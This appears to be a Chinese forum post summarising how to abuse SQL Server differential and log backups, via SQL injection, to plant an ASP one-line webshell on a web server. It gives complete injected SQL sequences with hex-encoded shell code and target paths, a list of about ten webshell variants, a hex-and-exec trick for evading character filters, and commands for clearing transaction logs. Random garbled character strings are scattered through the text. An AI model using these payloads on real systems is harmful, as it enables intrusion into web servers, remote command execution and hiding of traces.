MSsql差异备份总结

admin

差异备份的流程大概这样：
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--
8 w% z4 q( A4 q$ ~/ E
2.创建表并插曲入数据
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
7 L% \2 G; h) E$ e% F. n" U) T9 v2 n
3.进行差异备份
* K9 \/ Z* m3 X% f7 Y/ F) xbackup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

) ?' K$ z9 Y  p" \上面
0x3C25657865637574652872657175657374282261222929253E
6 K9 [5 {  w0 B. o就是一句话木马的内容：<%execute(request("a"))%>
8 p* _; [/ m+ {8 @( o
如下是网上常见的差异备份代码，思路一样！
===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
9 \" X7 v+ ?: @1 a1 M6 i步骤:

* f$ h/ {/ n& u* V( S) x1 J' o8 kdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s  --备份数据库
: w; s% W' X- y& W: e+ a; }
create table [dbo].[xiaolu] ([cmd] [image]);  -- 创建一个表
' S3 ]9 `# M5 V, S4 A# N

5 |% x) a* X* A3 {5 ]  kinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)  --将一句话木马的16进制字符插入到表中

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT  --对数据库实行差异备份

drop table [xiaolu]  -- 删除此表。
: }; u2 ]- v5 M) T+ ]5 h
0x77006F006B0061006F002E00620061006B00为wokao.bak
. z  j( o( ^  n" B, O0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
/ j1 U% }: o+ }2 |' J) F0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

( D4 ]/ J+ N) t, n( E/ f% g. u3 F声明：方法不是我想的，我只是写工具，默认得到shell是
<%execute(request("a"))%>
, @: ~1 I" C0 U2 P9 o- ^===============================================================
% P8 ]0 ~" t* h# Q+ {9 z) X- E& M  V
8 V# ^( [5 r% r! U4 F# L我发现上面代码，有时会无效，而直接用
2 d8 F# l+ ]" S$ x  k" d
$ U6 B* Q1 E9 ~1 O: j& ?4 W" qbackup database 库名 to disk = 'c:\ddd.bak'
1 a% h$ G; k, n7 {2 h+ A) ~# H
create table [dbo].[dtest] ([cmd] [image]);
$ P, P  H4 b( O& U
) @0 j( e3 m+ a8 finsert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
. E7 @( a' X4 G, ?0 p0 d  ]* P
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

; b" g4 d, ^& N- a4 [' k却可以成功，所以把最原始的方法写出来！思路是前人所创,这不说大家也知道的！
) J. M2 O1 p! s8 z$ \4 N7 x: N
- T2 S+ p& `3 J! W9 C, n) C库名 必须要有效的库名，一般注入工具都可以得到！如果某站过滤 "‘",就要把字符内容转为数值了！

网上还有log增量备份的，我也把他记录一下
=====================================================
另一种log增量备份技术:
/ k# C( f# K! S' C; E& m1 M
# D8 t1 b! t8 Q! l3 S7 t7 d. {0 z';alter database null set RECOVERY FULL--
1 r5 b4 E1 f- h5 Q! j
';create table cmd (a image)--
& o% E4 e- c( S: n( A
';backup log null to disk = 'f:\cmd' with init--
6 Q9 V* H& n+ q! o1 y
2 L- }1 \. H  F/ \';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--

7 f( q$ g9 G. T& N6 q';backup log null to disk = '备份路径'--

';drop table cmd--
. Z8 r, s, e/ S, ~$ D
';alter database XXX set RECOVERY SIMPLE--
: c- X2 A' G5 o/ f# J
PS:0x3C2565786563757465287265717565737428226122292
9253EDA 是一句话小马16进制转来的

0 J" E# m; B- P4 a说到一句话马，还可以有这么几种写法：
! E* }, V/ ^) i4 N8 S. u9 m' K
4 V, D+ a  j/ Wa)<%%25Execute(request("a"))%%25>
. n6 v5 j9 p2 @! C( D- d2 Ob)<%Execute(request("a"))%>
% I: s0 Y+ `8 _9 X4 [c)%><%execute request("a")%><%
d)<script language=VBScript runat=server>execute request("a")</script>
. }9 A& _- q6 s' Z2 _* ie)<%25Execute(request("a"))%25>
% n1 ]) B7 _1 t6 W/ C2 q1 Zf)<%eval(request("a")):response.end%> 备分专用一句话   (也就是插入一句话后所有的代码都无效,在一句话这里打止)
g)"%><%eval (request (chr(309)))%><%'" 网站配置版权信息插马专用一句话
! i8 `9 d0 a) |: Dh)<%On Error Resume Next:response.clear:execute request("value"):response.End%>
5 O$ R( S" ~, f$ E! X' yI)<%eval request(0)%>
J)"%><%Eval Request(0)%> 网站配置版权信息插马专用一句话
% |1 o0 i  H/ j& t9 O3 u4 v5 I4 s
=============================================
# _7 x' M0 d1 y" R
7 c* b! h1 E' t: y当遇到差备过滤了/时用这个语句代替

declare @a varchar(1024);set @a=cast(0x65786563206D6D as varchar(1024));exec (@a);--

把要执行的语句转16进制然后用exec执行
" T4 Y& @* J2 d$ Q  l, e

减少备份文件大小方法如下:

总的来说就是那么简单几句,下面以备份数据库model为例子
/ V+ M# X  }" p! r1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
. e" w$ B& N! D- m2
1 S3 [! P2 f  I, L5 wid=1;backup database model to disk='你的路径‘ with differential,format;--
; I& c& S5 [0 i5 e' x2 k
( B/ ^- x% m) Y7 u- @
' k* h$ _' V% b( O# h5 W
SQL语句清理日志
& Z( V( N& n+ M* u  ~注：test为数据库名

--清空日志
DUMP TRANSACTION test WITH NO_LOG

--截断事务日志
8 Z+ U* M& m8 YBACKUP LOG test WITH NO_LOG
% N$ U% o6 K. m( }. n1 M* d: {
3 Q) U1 W9 n3 e2 X--收缩数据库
DBCC SHRINKDATABASE(test)

* _3 o+ Y: I$ z/ w--收缩指定数据文件,1是文件号,可以通过这个语句查询到
Select * from sysfiles DBCC SHRINKFILE(1)
. [8 J/ K* `$ ^# ]* P: x" {( R" i
  \4 c9 i% q4 Y: E% g--以后能自动收缩
" y& J. V5 |! }5 x& AEXEC sp_dboption 'test', 'autoshrink', 'TRUE'